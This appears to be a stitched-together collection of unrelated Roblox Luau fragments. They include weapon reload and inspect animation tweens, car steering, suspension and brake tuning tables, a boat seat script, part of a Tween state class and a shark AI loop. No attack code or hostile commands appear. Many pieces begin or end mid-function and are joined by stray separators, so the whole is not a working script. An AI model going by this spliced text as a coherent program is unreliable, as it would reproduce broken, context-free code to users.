ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.3)
end;
StanceUp = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -1.85, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.8,-0.6,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()
wait(0.3)
end;
Patrol = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.75, -.9, -1.6) * CFrame.Angles(math.rad(-80), math.rad(-70), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.75,0.75,-1) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25))}):Play()
wait(0.3)
end;
SprintAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.3)
end;
EquipAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.1)
objs[5].Handle:WaitForChild("AimUp"):Play()
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()
wait(0.5)
end;
ZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play()
wait(0.3)
end;
UnZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play()
wait(0.3)
end;
ChamberAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(0.1,0.15,-1.4) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()
wait(0.35)
objs[5].Bolt:WaitForChild("SlidePull"):Play()
ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(0.05,-0.25,-1.15) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.3)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
end;
ChamberBKAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, -0.465, -0.9) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.1,-0.15,-1.115) * CFrame.Angles(math.rad(-110),math.rad(25),math.rad(0))}):Play()
wait(0.3)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[3],TweenInfo.new(0.15),{C1 = CFrame.new(0.1,-0.15,-1.025) * CFrame.Angles(math.rad(-100),math.rad(30),math.rad(0))}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.15)
end;
CheckAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(.35)
local MagC = objs[5]:WaitForChild("Mag"):clone()
objs[5].Mag.Transparency = 1
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagOut"):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()
wait(1.5)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
wait(0.3)
end;
ShellInsertAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
wait(0.3)
objs[5].Handle:WaitForChild("ShellInsert"):Play()
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
objs[6].Value = objs[6].Value - 1
objs[7].Value = objs[7].Value + 1
wait(0.3)
end;
ReloadAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.5)
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-0.875, 0, -1.35) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.6),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()
objs[5].Mag.Transparency = 1
objs[5].Handle:WaitForChild("MagOut"):Play()
local MagC = objs[5]:WaitForChild("Mag"):clone()
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.75, 0.35, 0.2) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(90))}):Play()
wait(1.5)
ts:Create(objs[2],TweenInfo.new(0.4),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.5)
ts:Create(objs[2],TweenInfo.new(0.1),{C1 = CFrame.new(-0.875, 0, -1.125) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then
objs[7].Value = objs[7].Value + objs[6].Value
objs[6].Value = 0
--Evt.Recarregar:FireServer(objs[5].Value)
elseif objs[7].Value <= 0 then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
objs[9] = false
elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1
--objs[10].Recarregar:FireServer(objs[6].Value)
objs[7].Value = objs[8].Ammo + 1
elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
end
wait(0.55)
end;
|
-- if seat.Steer == 1 then
-- bg.CFrame = bg.CFrame * CFrame.Angles(0,-.05,0)
-- elseif seat.Steer == -1 then
-- bg.CFrame = bg.CFrame * CFrame.Angles(0,.05,0)
-- end
|
IfOnLand()
end
if script.Parent then
script.Parent.PrimaryPart.WaterMove.Volume = 0
script.Parent.PrimaryPart.WaterMove:Stop()
end
end
seat.ChildAdded:connect(function(object)
local p = game.Players:FindFirstChild(object.Part1.Parent.Name)
if p then
DriveEnabled = true
StartEngine()
end
end)
seat.ChildRemoved:connect(function(object)
if object:IsA'Weld' then
DriveEnabled = false
lastLodged = tick()
wait(0.3)
Speed = 0
|
--[[Steering]]
|
Tune.RWS = 1/4 --rear wheel steer ratio
Tune.RWSCO = 40 --RWS cutoff speed
Tune.SteerInner = 36 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 36 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .065 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .12 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 330 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
--Steer Gyro Tuning
Tune.SteerD = 1000 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 100000 -- Steering Aggressiveness
|
--[[
Called when the goal state changes value; this will initiate a new tween.
Returns false as the current value doesn't change right away.
]]
|
function class:update(): boolean
local goalValue = self._goalState:get(false)
-- if the goal hasn't changed, then this is a TweenInfo change.
-- in that case, if we're not currently animating, we can skip everything
if goalValue == self._nextValue and not self._currentlyAnimating then
return false
end
local tweenInfo = self._tweenInfo
if self._tweenInfoIsState then
tweenInfo = tweenInfo:get()
end
-- if we receive a bad TweenInfo, then error and stop the update
if typeof(tweenInfo) ~= "TweenInfo" then
warn("mistypedTweenInfo", typeof(tweenInfo))
return false
end
self._prevValue = self._currentValue
self._nextValue = goalValue
self._currentTweenStartTime = os.clock()
self._currentTweenInfo = tweenInfo
local tweenDuration = tweenInfo.DelayTime + tweenInfo.Time
if tweenInfo.Reverses then
tweenDuration += tweenInfo.Time
end
tweenDuration *= tweenInfo.RepeatCount + 1
self._currentTweenDuration = tweenDuration
-- start animating this tween
TweenScheduler.add(self)
return false
end
local function Tween<T>(
goalState,
tweenInfo: TweenInfo?
)
local currentValue = goalState:get(false)
-- apply defaults for tween info
if not tweenInfo then
tweenInfo = TweenInfo.new()
end
local dependencySet = {[goalState] = true}
local tweenInfoIsState = xtypeof(tweenInfo) == "State"
if tweenInfoIsState then
dependencySet[tweenInfo] = true
end
local startingTweenInfo = tweenInfo
if tweenInfoIsState then
startingTweenInfo = startingTweenInfo:get()
end
-- If we start with a bad TweenInfo, then we don't want to construct a Tween
if typeof(startingTweenInfo) ~= "TweenInfo" then
Dependencies.utility.parseError("mistypedTweenInfo", nil, typeof(startingTweenInfo))
end
local self = setmetatable({
type = "State",
kind = "Tween",
dependencySet = dependencySet,
-- if we held strong references to the dependents, then they wouldn't be
-- able to get garbage collected when they fall out of scope
dependentSet = setmetatable({}, WEAK_KEYS_METATABLE),
_goalState = goalState,
_tweenInfo = tweenInfo,
_tweenInfoIsState = tweenInfoIsState,
_prevValue = currentValue,
_nextValue = currentValue,
_currentValue = currentValue,
-- store current tween into separately from 'real' tween into, so it
-- isn't affected by :setTweenInfo() until next change
_currentTweenInfo = tweenInfo,
_currentTweenDuration = 0,
_currentTweenStartTime = 0,
_currentlyAnimating = false
}, CLASS_METATABLE)
-- add this object to the goal state's dependent set
goalState.dependentSet[self] = true
return self
end
return Tween
|
--[=[
Gets the lua type for the given class name
@param valueBaseClassName string
@return string?
]=]
|
function ValueBaseUtils.getValueBaseType(valueBaseClassName)
return VALUE_BASE_TYPE_LOOKUP[valueBaseClassName]
end
|
-- the Tool, reffered to here as "Block." Do not change it!
|
Block = script.Parent.Parent.Door.Key1 -- You CAN change the name in the quotes "Example Tool"
|
--[[Susupension]]
|
Tune.SusEnabled = true -- Sets whether suspension is enabled for PGS
--Front Suspension
Tune.FSusDamping = 70 -- Spring Dampening
Tune.FSusStiffness = 7000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FPreCompress = .3 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 70 -- Spring Dampening
Tune.RSusStiffness = 7000 -- Spring Force
Tune.RAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RPreCompress = .3 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = true -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Bright red" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
--[Rurka]
|
pala1 = script.Parent.Parent.Part1
legansio = false
pala2 = script.Parent.Parent.Part2
legansio = false
pala3 = script.Parent.Parent.Part3
legansio = false
pala4 = script.Parent.Parent.Part4
legansio = false
pala5 = script.Parent.Parent.Part5
legansio = false
pala6 = script.Parent.Parent.Part6
legansio = false
pala7 = script.Parent.Parent.Part7
legansio = false
|
-- change y height of shark
|
end
end
end
if stance == "wander" then
scanInterval = 1
target = nil
MakeAMove()
elseif stance == "attack" then
scanInterval = .1
MakeAMove()
end
wait(scanInterval)
end -- end of wtd
end)
scanSurroundings()
|
--[[Brakes]]
|
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 3500 -- Front brake force
Tune.RBrakeForce = 3500 -- Rear brake force
Tune.PBrakeForce = 8000 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
--[=[
@within Mouse
@prop LeftDown Signal
@tag Event
]=]
--[=[
@within Mouse
@prop LeftUp Signal
@tag Event
]=]
--[=[
@within Mouse
@prop RightDown Signal
@tag Event
]=]
--[=[
@within Mouse
@prop RightUp Signal
@tag Event
]=]
--[=[
@within Mouse
@prop Scrolled Signal<number>
@tag Event
```lua
mouse.Scrolled:Connect(function(scrollAmount) ... end)
```
]=]
| |
--// Animations
|
-- Idle Anim
IdleAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(-0.0318467021, -0.0621779114, -1.67288721, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- FireMode Anim
FireModeAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.25)
objs[4]:WaitForChild("Click"):Play()
end;
-- Reload Anim
ReloadAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.5)
TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621779114, -1.63076854, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.5)
wait(0.5)
local MagC = Tool:WaitForChild("Mag"):clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame)
objs[4].Transparency = 1
objs[6]:WaitForChild("MagOut"):Play()
TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621778965, -2.69811869, 0.787567914, -0.220087856, 0.575584888, -0.51537323, 0.276813388, 0.811026871, -0.337826759, -0.935379863, 0.104581922), function(X) return math.sin(math.rad(X)) end, 0.3)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.29060709, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.1)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 0.973990917, -0.226587087, 2.70202394e-09, -0.0646390691, -0.277852833, 0.958446443, -0.217171595, -0.933518112, -0.285272509), function(X) return math.sin(math.rad(X)) end, 0.3)
wait(0.3)
objs[6]:WaitForChild('MagIn'):Play()
TweenJoint(objs[3], nil , CFrame.new(0.511569798, -0.0621779114, -1.63076854, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.3)
wait(0.4)
MagC:Destroy()
objs[4].Transparency = 0
end;
-- Bolt Anim
BoltBackAnim = function(char, speed, objs)
TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.518400908, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.492658436, -1.55705214, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.4)
objs[5]:WaitForChild("BoltBack"):Play()
TweenJoint(objs[2], nil , CFrame.new(-0.333807141, -0.609481037, -1.02827215, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.230707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.175939053, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.3)
end;
BoltForwardAnim = function(char, speed, objs)
objs[5]:WaitForChild("BoltForward"):Play()
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.84623456, -0.900531948, -0.749261618, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.1)
TweenJoint(objs[3], nil , CFrame.new(-0.603950977, 0.617181182, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.2)
wait(0.2)
end;
-- Bolting Back
BoltingBackAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.230707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.03)
end;
BoltingForwardAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
end;
InspectAnim = function(char, speed, objs)
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play()
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(1)
local MagC = Tool:WaitForChild("Mag"):clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame)
Tool.Mag.Transparency = 1
Tool:WaitForChild('Grip'):WaitForChild("MagOut"):Play()
ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
wait(0.13)
ts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
wait(0.20)
ts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play()
wait(0.8)
ts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
wait(0.5)
Tool:WaitForChild('Grip'):WaitForChild("MagIn"):Play()
ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(0.3)
MagC:Destroy()
Tool.Mag.Transparency = 0
wait(0.1)
end;
nadeReload = function(char, speed, objs)
ts:Create(objs[1], TweenInfo.new(0.6), {C1 = CFrame.new(-0.902175903, -1.15645337, -1.32277012, 0.984807789, -0.163175702, -0.0593911409, 0, -0.342020363, 0.939692557, -0.17364797, -0.925416529, -0.336824328)}):Play()
